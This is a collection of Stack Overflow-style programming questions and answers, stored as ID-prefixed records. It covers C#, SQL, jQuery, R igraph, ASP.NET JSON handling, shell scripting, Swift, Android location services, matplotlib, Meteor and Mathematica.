6800293	0	 <p>I guess the problem is, that you are creating new VM.</p> <pre><code>void toClient_GetVenuesCompleted(object sender, GetVenuesCompletedEventArgs e) { if(e.Error == null) { VenueViewModel vvm = new VenueViewModel(); vvm.Venues = e.Result; MessageBox.Show(vvm.Venues.Count.ToString()); } } </code></pre> <p>I think this code works. You create new VenueViewModel, fill it with data and that is all. This VM is never used again. The same rules for MainPage.xaml sample.<br /> You should create global variable of VenuViewModel in constructor/loaded handler and call its GetAllVenues in Loaded event</p>
27706899	0	 <p>Essentially what I wasn't doing here was actually telling the array what the variables were. Create the variables by using GET to parse the URL and this works perfectly.</p>
3152493	0	 <p>You may want to look unto how the <a href="http://en.wikipedia.org/wiki/Rsync" rel="nofollow noreferrer"><code>rsync</code></a> protocol works on Unix. It essentially computes the differences between two files and uses that to create a compressed delta used to compute the changes.</p> <p>You may be able to adapt that to what you're trying to do.</p>
31526935	0	 <p>I devised a solution that is simple however perhaps not very efficient. For my purposes it works well.</p> <pre><code>SELECT ROUND( ST_Distance_Sphere( ST_Centroid(ST_MinimumBoundingCircle(geom)), ST_PointN(ST_Boundary(ST_MinimumBoundingCircle(geom)), 1) ) / 1000 ) AS radius, ST_AsGeoJSON(ST_Centroid(geom)) AS center FROM "Regions" </code></pre> <p>The result ends up being a radius in km and the centroid.</p>
28209381	0	 <p>Be familiar with using a debugger, you will be able to find out where the issue is.</p> <p>You are clearing the selection in your loop</p> <pre><code>foreach (DataGridViewRow row in dataGridView1.Rows) { } </code></pre> <p>Rethink the if-else logic in it and you will see why. You are clearing your previous selections when you are not suppose to.</p>
24316860	0	 <p>The problem actually was with the Modernizr script: apparently sometime between now and when I first started using it, the Modernizr folks made the getusermedia portions of their code non-core, and thus was not included in their standard download. </p> <p>I'm not sure whether this was the original problem, or whether my downloading the newest version of Modernizr created another problem on top of the original, but removing Modernizr from the equation solved the issue. I now have a working webcam stream again - albeit only in Chrome. I'll worry about cross-platform stuff later.</p>
21368659	0	 <p>There is a <a href="http://backbonejs.org/#Collection-create" rel="nofollow">create</a> method to add the new model within a collection and save it to the server.</p> <pre><code>time.create(model); </code></pre>
27766128	0	 <p>Just add <code>weight_1</code> and <code>weight_2</code>. igraph does not currently have a way to combine vertex/edge attributes from multiple graphs, except by hand. This is usually not a big issue, because it is just an extra line of code (per attribute). Well, three lines if you want to remove the <code>_1</code>, <code>_2</code> attributes. So all you need to do is:</p> <pre><code>E(g3)$weight &lt;- E(g3)$weight_1 + E(g3)$weight_2 </code></pre> <p>and potentially</p> <pre><code>g3 &lt;- remove.edge.attribute(g3, "weight_1") g3 &lt;- remove.edge.attribute(g3, "weight_2") </code></pre> <p>I created an issue for this in the igraph issue tracker, but don't expect to work on it any time soon: <a href="https://github.com/igraph/igraph/issues/800" rel="nofollow">https://github.com/igraph/igraph/issues/800</a></p>
13966226	0	Accept only number formats for a property from JSON <p>I am developing ASP.Net Web API application and we are exposing a REST API for different clients. I have a problem when taking users' JSON files and converting them to Data Model classes. My JSON looks like below.</p> <pre><code>{"engagementid":1,"clientname":"fsdfs","myno":"23,45","address1":"fsd","address2":"fsdfs","city":"fsdfs","zip":"fsdf","info":"fsdfs","country":"fsdfs","currency":"NOK"} </code></pre> <p>You can see that my "myno" is sent as a string. But in my Server Data Model "myno" is a double value. So what happen here is when I send the value for "myno" as "23,45", it gets assigned to MyNo property of my Model as 2345. This is wrong, because you can see that the number has been changed because of this wrong conversion. What I simply need is to restrict this conversion. I mean, I want to send an error to Client if he sends a string for "myno" property. Since it is a double value in my Server Data Model, I want to accept only numbers from the client for this property. Which means, I want it like this.</p> <pre><code>{"myno":2345} //correct {"myno":"2345"} //wrong. I want to send a error to user by saying, "We only accept Numbers for this value" </code></pre> <p>How do I do this?</p> <p>Update: This problem gets solved if I am using int in my server-model. I mean, if a client send a string to a property which is represented as int in my model, then it gives an error to user by saying string to int conversion can not be done.</p>
20129332	0	How to remove a directory when the cron job is within the child directory <p>I am new at Linux and I need to setup a script that after the work has been done using a cron job needs to delete the working directory. </p> <p>The directory that I am in straight after the job is :</p> <pre><code>working/dealer/network/db/scripts </code></pre> <p>I am doing this within the job to delete this whole path:</p> <pre><code>cd ~/working cd .. rm -rf working </code></pre> <p>As I am new I am sure there is a better way of deleting the working directory and its subfolders. Please can someone help with this?</p> <p>Thanks</p>
27791293	0	 <p>I get no problems when I insert ':String?' right after valueString as shown below:</p> <pre><code>extension Dictionary { func someMethod() -&gt; Bool { for (key, value) in self { if let valueString:String? = value as? String { println(" \(key) = \(valueString)") } else { println(" \(key) = \(value) cannot be cast to `String`") return false } } return true } } func doSomething() { let dictionary: [String: AnyObject?] = ["foo": "bar"] if dictionary.someMethod() { println("no problems") } else { println("casting issues") } } </code></pre>
15081167	0	relational algebra specific operations <p>I have these tables</p> <pre><code>Employee(ssn, name, sex, address, salary, bdate, dno, superssn) fk:superssn is ssn in Employee fk:dno is dnumber in Department Department(dnumber, dname, mgrssn, mgrstartdate) fk:mgrssn is ssn in Employee Dept_locations(dnumber, dlocation) fk:dnumber is dnumber in Department Project(pnumber, pname, plocation, dnum) fk:dnum is dnumber in Department Dependent(essn, dependent_name, sex, bdate, relationship) fk: essn is ssn in Employee Works_on(essn,pno,hours) fk: essn is ssn in Employee; pno is pnumber in Project </code></pre> <p>I would like to retrieve the list of locations for the finance department using only the following relational algebra operations {σ, π, ∪, ρ, −, ×}.</p> <p>so far i have: π dlocation (σ department (dname = 'research'))</p> <p>i'm really stuck, and confused... i don't know if its possible to do it without an equijoin operation.</p>
31685162	0	 <p>You seem to be using JQuery correctly. The Javascript to extract the value and the send the GET request should be working.</p> <p>Your misunderstanding lies in how you check if the PHP file has received the request. This redirect</p> <pre><code>location.href = "leaderprofile.php"; </code></pre> <p>Will not provide you any information about the GET request that you just made. Instead you can try:</p> <pre><code>location.href = "leaderprofile.php?lname=" + $("#gopal").val() </code></pre> <p>To verify that your PHP and Javascript is performing as expected. If you see the values that you expect then I believe you have confirmed two things:</p> <ul> <li>successfully extracted the correct value from the textbox</li> <li>GET request is succeeding, and the success callback is being invoked</li> </ul>
13487175	0	EJB 3.1 lookup returns null remote object <p>I am using <em>EJB3</em> deployed on <em>WAS 8</em>. I am accessing this EJB from my <em>WEB server</em> using <em>Context.lookup</em>. This look up works fine and the entire application works fine for the first time after <em>WAS</em> is restarted. However when I run the application for the second time, the look up does happen, but a NULL value is returned. I dont get any exception or error or any logs on <em>WAS</em>.</p> <p>Again if I restart the <em>WAS</em>, the application works well.</p> <p>Can anyone please guide what the issue can be?</p>
13608586	0	 <p>A simple solution should be using the css3 transition. You can do something like this:</p> <p>In Your CSS</p> <pre><code>#facebook_icon li{ -moz-transition: background-position 1s; -webkit-transition: background-position 1s; -o-transition: background-position 1s; transition: background-position 1s; background-position: 0 0; } #facebook_icon li:hover{ background-position: 0 -119px; } </code></pre>
27438100	0	 <p>Depending on the number of options you have, rather than dynamically modifying the value, you could pre-populate your HTML with all of the possible values, and only show the "current" values.</p> <pre><code>&lt;div class="section"&gt; &lt;select&gt;&lt;/select&gt; &lt;select class="hide"&gt;&lt;/select&gt; &lt;select class="hide"&gt;&lt;/select&gt; &lt;select class="hide"&gt;&lt;/select&gt; &lt;select class="hide"&gt;&lt;/select&gt; &lt;/div&gt; </code></pre> <p>Then you can do something like:</p> <pre><code>index = this.selectedIndex; $('.section').find('&gt; select').addClass('hide').eq(index).removeClass('hide') </code></pre>
13476342	0	 <p>Try upgrading to the latest version of <a href="https://github.com/fnagel/jquery-ui/wiki/Selectmenu" rel="nofollow">Selectmenu</a>. This resolved the issue for me when I upgraded our site to the latest jQuery release (1.8.3). Seems like some old code in the selectmenu API that just never worked, and when upgrading jQuery, it starts throwing errors.</p>
12610734	0	filter "items" with Jquery via a Dropdown <p>I currently have Dropdown at the top of the page and a long list (83 boxes in rows of 4) underneath it.</p> <p>Here is the scenario:</p> <p>I select a state from the list of states in the dropdown, and the item in the list that do not match the state fade out allowing the matching items to "pop up" to the top. Once you go back to the default, all the others fade back in.</p> <p>If there are no matching items to a state, I would display a message "no options found"</p> <p>I am pretty sure I have seen this done on portfolios somewhere, but I really have no clue on how to achieve this. Does anyone have an idea on how to implement this, or can point me in the right direction?</p> <pre><code>&lt;select id="filter" name="filter"&gt; &lt;option value="-1"&gt;Filter items&lt;/option&gt; &lt;option value="sc"&gt;South Carolina&lt;/option&gt; &lt;option value="nc"&gt;North Carolina&lt;/option&gt; &lt;/select&gt; &lt;div id="container"&gt; &lt;div class="box state-nc"&gt;&lt;/div&gt; &lt;div class="box state-sc"&gt;&lt;/div&gt; &lt;div class="box state-nc"&gt;&lt;/div&gt; &lt;div class="box state-sc"&gt;&lt;/div&gt; &lt;div class="box state-nc"&gt;&lt;/div&gt; &lt;div class="box state-sc"&gt;&lt;/div&gt; &lt;div class="box state-nc"&gt;&lt;/div&gt; &lt;div class="box state-sc"&gt;&lt;/div&gt; &lt;/div&gt; </code></pre>
13444930	0	Is the u8 string literal necessary in C++11 <p>From <a href="http://en.wikipedia.org/wiki/C++11#New_string_literals">Wikipedia</a>:</p> <blockquote> <p>For the purpose of enhancing support for Unicode in C++ compilers, the definition of the type char has been modified to be at least the size necessary to store an eight-bit coding of UTF-8.</p> </blockquote> <p>I'm wondering what exactly this means for writing portable applications. Is there any difference between writing this</p> <pre><code>const char[] str = "Test String"; </code></pre> <p>or this?</p> <pre><code>const char[] str = u8"Test String"; </code></pre> <p>Is there be any reason not to use the latter for every string literal in your code?</p> <p>What happens when there are non-ASCII-Characters inside the TestString?</p>
15334555	0	How to improve this Mathematica 9 code with Dynamic <p>How to improve this Mathematica 9 code with Dynamic to speed up the calculation. On my PC this code working with "n" less then 13 otherwise the result is "$Aborted", but I need n=20. You can use, for example, rho=0.64 and phi=1.107 I want that in opened html file when you type parameters automatically calculates, and even better, that was a button "calculate".</p> <p>view in browser</p> <p><img src="https://i.stack.imgur.com/W8QVx.jpg" alt=""></p> <p>at first I need solve </p> <pre><code>Solve[(xx == Sin[\[Rho]] Cos[\[Phi]]) &amp;&amp; (yy == Sin[\[Rho]] Sin[\[Phi]]) &amp;&amp; (zz == Cos[\[Rho]]), {xx, yy, zz}] </code></pre> <p>then do "Replace" three times fo each variable </p> <p>"1"</p> <pre><code>Replace[xx, First[Solve[(xx == Sin[\[Rho]] Cos[\[Phi]]) &amp;&amp; (yy == Sin[\[Rho]] Sin[\[Phi]]) &amp;&amp; (zz == Cos[\[Rho]]), {xx, yy, zz}]][[1]]] </code></pre> <p>"2"</p> <pre><code>Replace[yy, First[Solve[(xx == Sin[\[Rho]] Cos[\[Phi]]) &amp;&amp; (yy == Sin[\[Rho]] Sin[\[Phi]]) &amp;&amp; (zz == Cos[\[Rho]]), {xx, yy, zz}]][[2]]] </code></pre> <p>"3"</p> <pre><code>Replace[zz, First[Solve[(xx == Sin[\[Rho]] Cos[\[Phi]]) &amp;&amp; (yy == Sin[\[Rho]] Sin[\[Phi]]) &amp;&amp; (zz == Cos[\[Rho]]), {xx, yy, zz}]][[3]]] </code></pre> <p>In fact, I write it all in one "Dynamic" as I do not know how to make it right - so that in the html file automatically calculates all after entering the values ​​of the variables </p> <p>"1","2","3" in code are acronyms for the above</p> <pre><code>Dynamic[ Cases[ Drop[Tuples[Range[-n, n], 3], {( Length[Tuples[Range[-n, n], 3]] + 1)/2}], {h_, k_, l_} /; ("1" -"1"/10) &lt;= h/( GCD[h, k, l] Sqrt[ h^2 + k^2 + l^2]) &lt;= ("1" +"1"/10) \[And] ("2" -"2"/10) &lt;= k/( GCD[h, k, l] Sqrt[ h^2 + k^2 + l^2]) &lt;= ("2" +"2"/10) \[And] ("3" -"3"/10) &lt;= l/( GCD[h, k, l] Sqrt[ h^2 + k^2 + l^2]) &lt;= ("3" +"3"/10)]] </code></pre> <p>if denote</p> <p>"11" - </p> <pre><code>h/(GCD[h, k, l] Sqrt[h^2 + k^2 + l^2]) </code></pre> <p>"22" - </p> <pre><code>k/(GCD[h, k, l] Sqrt[h^2 + k^2 + l^2]) </code></pre> <p>"33" - </p> <pre><code>l/(GCD[h, k, l] Sqrt[h^2 + k^2 +l^2]) </code></pre> <p>then code are:</p> <pre><code> Dynamic[ Cases[ Drop[ Tuples[ Range[-n, n], 3], {(Length[Tuples[Range[-n, n], 3]] + 1)/2}], {h_, k_, l_} /; ("1" -"1"/10) &lt;= "11" &lt;= ("1" +"1"/10) \[And] ("2" -"2"/10) &lt;= "22" &lt;= ("2" +"2"/10) \[And] ("3" -"3"/10) &lt;= "33" &lt;= ("3" +"3"/10)]] </code></pre> <p>This code works, as I need. Thank you for your interest!</p> <pre><code>Column[{Style["Определить hkl", Bold, 16], Labeled[InputField[Dynamic[\[Rho]]], "\[Rho]", Left, LabelStyle -&gt; Directive[Bold, FontSize -&gt; 18]], Labeled[InputField[Dynamic[\[Phi]]], "\[Phi]", Left, LabelStyle -&gt; Directive[Bold, FontSize -&gt; 18]], Labeled[InputField[Dynamic[n]], "n", Left, LabelStyle -&gt; Directive[Bold, FontSize -&gt; 18]]}] SetAttributes[redoButton, HoldRest] redoButton[str_, fun_] := DynamicModule[{result = Null}, Column[{Button[str, result = fun]}]] Column[{redoButton[ "x,y,z", {px = Replace[xx, First[Solve[(xx == Sin[\[Rho]] Cos[\[Phi]]) &amp;&amp; (yy == Sin[\[Rho]] Sin[\[Phi]]) &amp;&amp; (zz == Cos[\[Rho]]), {xx, yy, zz}]][[1]]], py = Replace[yy, First[Solve[(xx == Sin[\[Rho]] Cos[\[Phi]]) &amp;&amp; (yy == Sin[\[Rho]] Sin[\[Phi]]) &amp;&amp; (zz == Cos[\[Rho]]), {xx, yy, zz}]][[2]]], pz = Replace[zz, First[Solve[(xx == Sin[\[Rho]] Cos[\[Phi]]) &amp;&amp; (yy == Sin[\[Rho]] Sin[\[Phi]]) &amp;&amp; (zz == Cos[\[Rho]]), {xx, yy, zz}]][[3]]]}], {Dynamic[px], Dynamic[py], Dynamic[pz]}, redoButton["ppp", ppp = Part[ Nearest[ReplaceAll[ Drop[Tuples[Range[-n, n], 3], {( Length[Tuples[Range[-n, n], 3]] + 1)/2}], {h_, k_, l_} -&gt; {h/ Sqrt[h^2 + k^2 + l^2], k/Sqrt[h^2 + k^2 + l^2], l/Sqrt[ h^2 + k^2 + l^2]}], {px, py, pz}], 1]], Dynamic[ppp], redoButton["hkl", hkl = MatrixForm[ Cases[Drop[ Tuples[Range[-n, n], 3], {( Length[Tuples[Range[-n, n], 3]] + 1)/2}], {h_, k_, l_} /; h/(GCD[h, k, l] Sqrt[h^2 + k^2 + l^2]) == Part[ppp, 1] \[And] k/(GCD[h, k, l] Sqrt[h^2 + k^2 + l^2]) == Part[ppp, 2] \[And] l/(GCD[h, k, l] Sqrt[h^2 + k^2 + l^2]) == Part[ppp, 3]]]], Style[Dynamic[hkl], Bold, 18]}] </code></pre>
5001667	0	 <p>You can also use tabbar controller's delegate method</p> <p><code>- (void)tabBarController:(UITabBarController *)tabBarController didSelectViewController:(UIViewController *)viewController</code></p>
3046495	0	 <p>Stored procedures are not very good at being super-generic because it prevents SQL Server from always using optimal methods. In a similar situation recently I used (<em>gasp</em>) dynamic SQL. My search stored procedures would build the SQL code to perform the search, using pagination just like you have it (WITH with a ROW_NUMBER(), etc.). The advantage was that if parameters indicated that one piece of information wasn't being used in the search then the generated code would omit it. In the end it allowed for better query plans.</p> <p>Make sure that you use sp_executesql properly to prevent SQL injection attacks.</p>
25743133	0	Are stack float array ops faster than heap float ops on modern x86 systems? <p>On C float (or double) arrays small enough to fit in L1 or L2 cache (about 16k), and whos size I know at compile time, is there generally a speed benefit to define them within the function they are used in, so they are stack variables? If so is it a large difference? I know that in the old days heap variables were much slower than stack ones, but nowadays with the far more complicated structure of cpu addressing and cache, I don't know if this is true. </p> <p>I need to do repeated runs of floating point math over these arrays in 'chunks', over and over again over the same arrays (about 1000 times), and I wonder if I should define them locally. I imagine keeping them in the closest / fastest locations will allow me to iterate over them repeatedly much faster but I dont understand the implications of caching in this scenario. Perhaps the compiler or cpu is clever enough to realize what I am doing and make these data arrays highly local on the hardware during the inner processing loops without my intervention, and perhaps it does a better job than I can at this. </p> <p>Maybe I risk running out of stack space if I load large arrays in this way? Or is stack space not hugely limited on modern systems? The array size can be defined at compile time and I only need one array, and one CPU as I need to stick to a single thread for this work.</p>
20211261	0	 <p>You need to store the locale of the language that was selected on the login form and then make use of it when you generate your UIs after login. So instead of using </p> <pre><code>ResourceBundle.getBundle("basic", new Locale("en", "US")); </code></pre> <p>you then would use </p> <pre><code>ResourceBundle.getBundle("basic", classWhereTheLocaleIsStores.getLocale()); </code></pre>
1537279	0	 <pre><code>window.location.href = "someurl"; </code></pre>
24206195	0	 <pre><code>function YourMethod(data) { window.location.href = "@Url.Action("ExportData", "Home")?id=" + data; } </code></pre> <p>You can append any number of params this way. </p>
6866477	0	 <p>It appears that your onHandleIntent method is not blocking the thread it is executing on, so it will return quickly and allow the second intent to be processed. Not only that, but any callbacks from the LocationManager to that thread are unlikely to be processed as the background thread is likely to be killed when onHandleIntent is finished.</p> <p>If you really want to use IntentService to manage your intent queue then you will need to do your location handling on its own thread, and join the IntentService thread to the location thread whilst it is waiting for the location callback.</p> <p>Heres a bit of code that demonstrates the idea:</p> <pre><code>public class TestService extends IntentService { private static final String TAG = "TestService"; private Location mLocation = null; public TestService() { super(TAG); } @Override public void onHandleIntent(Intent intent) { Log.d(TAG, "onHandleIntent"); if (mLocation == null) { Log.d(TAG, "launching location thread"); LocationManager locationManager = (LocationManager)getSystemService(Context.LOCATION_SERVICE); LocationThread thread = new LocationThread(locationManager); thread.start(); try { thread.join(10000); } catch (InterruptedException e) { Log.d(TAG, "timeout"); return; } Log.d(TAG, "join finished, loc="+mLocation.toString()); } else { Log.d(TAG, "using existing loc="+mLocation.toString()); } } private class LocationThread extends Thread implements LocationListener { private LocationManager locationManager = null; public LocationThread(LocationManager locationManager) { super("UploaderService-Uploader"); this.locationManager = locationManager; } @Override public void run() { Log.d(TAG, "Thread.run"); Looper.prepare(); this.locationManager.requestLocationUpdates(LocationManager.NETWORK_PROVIDER, 0, 0, this); this.locationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 0, 0, this); Looper.loop(); } @Override public void onLocationChanged(Location location) { // TODO Auto-generated method stub Log.d(TAG, "onLocationChanged("+location.toString()+")"); mLocation = location; Looper.myLooper().quit(); } @Override public void onProviderDisabled(String arg0) { } @Override public void onProviderEnabled(String arg0) { } @Override public void onStatusChanged(String arg0, int arg1, Bundle arg2) { } } } </code></pre> <p>Of interest in there is the Looper that runs a message loop on the thread (to allow handling of the callbacks).</p> <p>Given the effort required to do this with IntentService it might be worthwhile investigating deriving from Service instead and managing your own intent queue.</p>
11972096	1	matplotlib log scales causes missing points <p>I'm having a really strange issue with matplotlib. Plotting some points looks like this:</p> <p><img src="https://i.stack.imgur.com/JZZpM.png" alt="regulargraph"></p> <p>When I switch to a log scale on the y-axis, some of the points are not connected:</p> <p><img src="https://i.stack.imgur.com/qaw9g.png" alt="logscale"></p> <p>Is this a bug? Am I missing something? Code is below. Comment out the log scale line to see the first graph.</p> <pre><code>import matplotlib.pyplot as plt fig = plt.figure() ax1 = fig.add_subplot(111) x = [1.0, 2.0, 3.01, 4.01, 5.01, 6.01, 7.04, 8.04, 9.04, 10.05, 11.05, 12.09, 13.17, 14.18, 15.73, 16.74, 17.74, 18.9, 19.91, 20.94, 22.05, 23.15, 24.33, 25.48, 26.51, 27.58, 28.86, 29.93, 30.93, 32.23, 33.25, 34.26, 35.27, 36.29, 37.33, 38.35, 39.36, 40.37, 41.37] y = [552427, 464338, 446687, 201960, 227238, 265140, 148903, 134851, 172234, 120263, 115385, 100671, 164542, 171176, 28, 356, 0, 0, 195, 313, 9, 0, 132, 0, 249, 242, 81, 217, 159, 140, 203, 215, 171, 141, 154, 114, 99, 97, 97] ax1.plot(x, y, c='b', marker='o') ax1.set_yscale('log') plt.ylim((-50000, 600000)) plt.show() </code></pre>
14347013	0	 <p>Try <strong>Event Delegation</strong>:</p> <pre><code>$(document).on("change", "#Sites", function(){ var siteId = this.value; GetSectors(siteId); }); </code></pre> <blockquote> <p>The bubbling behavior of events allows us to do "event delegation" — <strong>binding handlers to high-level elements, and then detecting which low-level element initiated the event.</strong></p> <p>Event delegation has two main benefits. <strong>First</strong>, it allows us to <strong>bind fewer event handlers</strong> than we'd have to bind if we were listening to clicks on individual elements, which can be <strong>a big performance gain</strong>. <strong>Second</strong>, it allows us to <strong>bind to parent elements</strong> — such as an unordered list — and know that our event handlers will <strong>fire as expected even if the contents of that parent element change.</strong></p> </blockquote> <p>Taken from: <a href="http://jqfundamentals.com/chapter/events">http://jqfundamentals.com/chapter/events</a></p> <blockquote> <p>Delegated events have the advantage that <strong>they can process events from descendant elements that are added to the document at a later time. By picking an element that is guaranteed to be present at the time the delegated event handler is attached, you can use delegated events to avoid the need to frequently attach and remove event handlers.</strong> This element could be the container element of a view in a Model-View-Controller design, for example, or document if the event handler wants to monitor all bubbling events in the document. The document element is available in the head of the document before loading any other HTML, <strong>so it is safe to attach events there without waiting for the document to be ready.</strong></p> </blockquote> <p>Taken from: <a href="http://api.jquery.com/on/">http://api.jquery.com/on/</a></p>
34548611	0	 <p>First, here are some resources to set you on the right path: </p> <ul> <li><a href="https://www.meteor.com/tutorials/blaze/creating-an-app" rel="nofollow">https://www.meteor.com/tutorials/blaze/creating-an-app</a></li> <li><a href="http://docs.meteor.com/#/full/" rel="nofollow">http://docs.meteor.com/#/full/</a></li> </ul> <p>Make it easy on yourself by reading the docs and using the conventions of meteor. Add an event to the body template to handle the <code>#addNewTask</code> click event. Below is how to get this working in meteor.</p> <p>In your javascript: </p> <pre><code>Template.body.events({ "click #addNewTask": function(event, template) { $(".new-task").toggle(); } }); </code></pre> <p>In your html: </p> <pre><code>&lt;nav&gt; &lt;div&gt; &lt;logo&gt;Logo&lt;/logo&gt; &lt;button id="addNewTask"&gt;add newTask&lt;/button&gt; &lt;/div&gt; &lt;/nav&gt; {{&gt;submitTask}} &lt;template name="submitTask"&gt; &lt;div&gt; &lt;form class="new-task" style="display:none;"&gt; &lt;textarea name="title" placeholder="Enter Task" rows="10"&gt;&lt;/textarea&gt; &lt;input type="submit" value="Submit" class="button right"&gt; &lt;/form&gt; &lt;/div&gt; &lt;/template&gt; </code></pre>
319459	0	 <p>open a TCP socket to the LPR port on the target printer.</p> <p>send your data; as long as the printer comprehends it, you're cool.</p> <p>don't forget a Line feed when you're done.</p> <p>(then close the port.)</p>
5805847	0	Checking if an Object is null at the same time as a value of one of it's fields <p>Which of these would be correct?</p> <pre><code>if(dialog != null &amp;&amp; dialog.isShowing){} if(dialog.isShowing &amp;&amp; dialog != null){} if(dialog != null){ if(dialog.isShowing){} } </code></pre>
20598049	0	How to sort elements in an ArrayList of Strings? <pre><code> PhoneBookCollection phoneBook = new PhoneBookCollection(); </code></pre> <p>I have an <code>ArrayList</code> of <code>PhoneBook</code> objects. (The getCollection method returns the list)</p> <pre><code>ArrayList&lt;PhoneBook&gt; list = phoneBook.getCollection(); </code></pre> <p><br> I then iterate through my ArrayList and get the <code>PhoneBook</code> at the i'th index and get its corresponding <code>Telephone</code>.</p> <pre><code>for(int i = 0; i &lt; list.size(); i++ ){ String phone = phoneBook.getPhoneBook(i).getTelephone(); } </code></pre> <p>What I want to be able to do now is sort the <code>getTelephone</code> objects in ascending order. I know that ArrayLists don't have a sort method so i'm having a bit of trouble doing this.</p>
25618641	0	 <p>The choice has been restricted to metrics with type <code>PERCENT</code> (4.0) then relaxed to include types <code>LEVEL</code> and <code>RATING</code> in later versions (4.3).</p> <p>The rationale behind this is that unbounded metrics (such as number of issues, complexity) cannot be reliably mapped to a limited color range.</p>
16581881	0	 <p>You need to have the executable bit set on the script:</p> <pre><code>chmod +x /path/to/your/script </code></pre>
34848910	0	If() Condition Not getting True <p>I am New in IOS i am facing a problem. I have 3 GMGridViews on my Xib and i got reference in .m file of my ViewControllar Now in Delegates and DataSource Methods when i put Check on it if condition not getting true for 2 GMViewControllars but become true for 1st one. i try isEqual: also instead of " == " Here is my Code</p> <pre><code>#pragma mark GMGridViewDataSource - (NSInteger)numberOfItemsInGMGridView:(GMGridView *)gridView { if (gridView==self.artistFollowingGM) { return 4;//[self.artistFollowingArray count]; }else if (gridView==self.followersGM) { return 5;// [self.membersFollowingArray count]; }else if(gridView==self.repostedGM){ return 10; //[self.repostedArray count]; }else{ return 0; } } </code></pre> <p>Datasource and delegates are same for all then why if is not getting true for 2 GMGrids??</p>
25158487	0	rendering partial using jquery in js.erb file giving error. render is not a function <p>below is code in file '<code>app_erb.js.erb</code>'</p> <pre><code>$(function(){ $('.add_more_element').click(function(e){ e.preventDefault(); $(this).siblings('.remove_this_element').show('slow'); $(this).hide('slow'); $(this).closest('.form-group').add('&lt;%=j render 'resumes/resume_certification' %&gt;'); }); }); </code></pre> <p>and i have partial <code>views/resumes/_resume_certification.html.erb</code></p> <p>but when i load my app it gives me NoMethodError at /resumes/new undefined method `render'.</p> <p>What i am missing in the whole process for rendering a partial using javascript. </p>
6006617	0	 <p><em>Edit: user1182474's comment is correct; Wine doesn't isolate the programs it runs. (It tries to hide it, but not very thoroughly.) I totally failed at using Google. Psen's comment below is more correct, and references the FAQ. (Note that, for that to work, you may need to have the program's directory available through a Wine drive mapping. Or, see Anonymous Replier's answer.)</em></p> <p>== Old Answer ==</p> <p>Wine isolates the programs it runs. The applications are, if all works as intended, presented with an environment indistinguishable from Windows. Unfortunately for your purposes, that means that you can't access the features of the host OS (Linux). I mean, you could patch Wine to do that, but I get the impression that it would be more work than it's worth.</p> <p>There is hope! Cygwin is a Unix-like environment for Windows. You could install Cygwin in Wine, and use Cygwin to run your shell script. (Apparently, installing with 'winetricks cygwin' is easiest) Invoke Cygwin's bash shell (inside some Wine program) like this:</p> <pre><code>c:\cygwin\bin\bash myscript </code></pre> <p>Of course, change c:\cygwin to wherever you install it.</p>
19038964	0	 <p>It's not entirely clear what you're asking in the question and the comments, but it sounds like you might be looking for a full join with a bunch of coalesce statements, e.g.:</p> <pre><code>-- create view at your option, e.g.: -- create view combined_query as select coalesce(a.id, b.id) as id, coalesce(a.delta, b.delta) as delta, a.metric1 as metric1, b.metric2 as metric2, coalesce(a.metric1,0) + coalesce(b.metric2,0) as combined from (...) as results_a a full join (...) as results_b b on a.id = b.id -- and a.delta = b.delta maybe? </code></pre>
39334078	0	 <p>Assuming you had a CSV read into pandas:</p> <pre><code>df = pandas.read_csv("csvfile.csv") sample = df.sample(n) sample.to_csv("sample.csv") </code></pre> <p>You could make it even shorter:</p> <pre><code>df.sample(n).to_csv("csvfile.csv") </code></pre> <p>The <a href="http://pandas.pydata.org/pandas-docs/stable/io.html#io-store-in-csv" rel="nofollow">Pandas IO docs</a> have a great deal more information and options available, as does the <code>dataframe.sample</code> method.</p>
10455463	0	 <p>Redirect the DataContext <a href="http://msdn.microsoft.com/en-us/library/system.data.linq.datacontext.log.aspx" rel="nofollow">Log</a> property to Console.Out or a TextFile and see what query each option produces. </p>
8726793	0	Consolidate multiple if statements in Ksh <p>How can I consolidate the following if statements into a single line?</p> <pre><code>if [ $# -eq 4 ] then if [ "$4" = "PREV" ] then print "yes" fi fi if [ $# -eq 3 ] then if [ "$3" = "PREV" ] then print "yes" fi fi </code></pre> <p>I am using ksh. </p> <p>Why does this give an error?</p> <pre><code>if [ [ $# -eq 4 ] &amp;&amp; [ "$4" = "PREV" ] ] then print "yes" fi </code></pre> <p>Error:</p> <blockquote> <p>0403-012 A test command parameter is not valid.</p> </blockquote>
37401805	0	Can't change text of navigation item back button <p>I want to hide the text of the back button on the navigation bar and so have found past questions such as this: <a href="http://stackoverflow.com/questions/23853617/uinavigationbar-hide-back-button-text">UINavigationBar Hide back Button Text</a></p> <p>However I can't change the text at all, either via using the storyboard, or in code. See screenshot below for attempt at changing it using the storyboard:</p> <p><a href="https://i.stack.imgur.com/Gxwgh.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Gxwgh.png" alt="enter image description here"></a></p> <p>Or if I try to do it programatically by adding the following to viewDidLoad of the pushed view controller </p> <pre><code> self.navigationItem.backBarButtonItem?.title = "stuff" </code></pre> <p>It has no effect, nor does moving the same line of code to the view controller doing the pushing.</p> <p>How come it won't change at all regardless of how I'm trying to change it? How come using the storyboard, the navigation item title can be set, but not the back button text?</p> <p>If I add the following to the pushed view controller then I can get the text to change:</p> <pre><code>UIBarButtonItem.appearance().setTitleTextAttributes([NSForegroundColorAttributeName:UIColor.clearColor()], forState: UIControlState.Normal) UIBarButtonItem.appearance().setTitleTextAttributes([NSForegroundColorAttributeName:UIColor.clearColor()], forState: UIControlState.Highlighted) </code></pre> <p>But I would like to understand why none of the other ways of trying to change it have any effect</p>
29144850	0	 <p>Your <code>HRESULT</code> is <code>$80070002</code>. That's a <a href="https://msdn.microsoft.com/en-us/library/windows/desktop/ms690088.aspx" rel="nofollow">COM error code</a> that wraps the Win32 error code, <a href="https://msdn.microsoft.com/en-us/library/windows/desktop/ms681382.aspx#ERROR_FILE_NOT_FOUND" rel="nofollow"><code>ERROR_FILE_NOT_FOUND</code></a>. And that means that either the device ID or property name are incorrect. Assuming that you have indeed got the correct device ID, the obvious conclusion is that you are attempting to read the value of a property that does not exist.</p>
22091802	0	 <p>If you want your input element as an object in then use this</p> <pre><code>console.log(this); </code></pre> <p>instead of </p> <pre><code>console.log('from verifyAns : '+this); </code></pre>
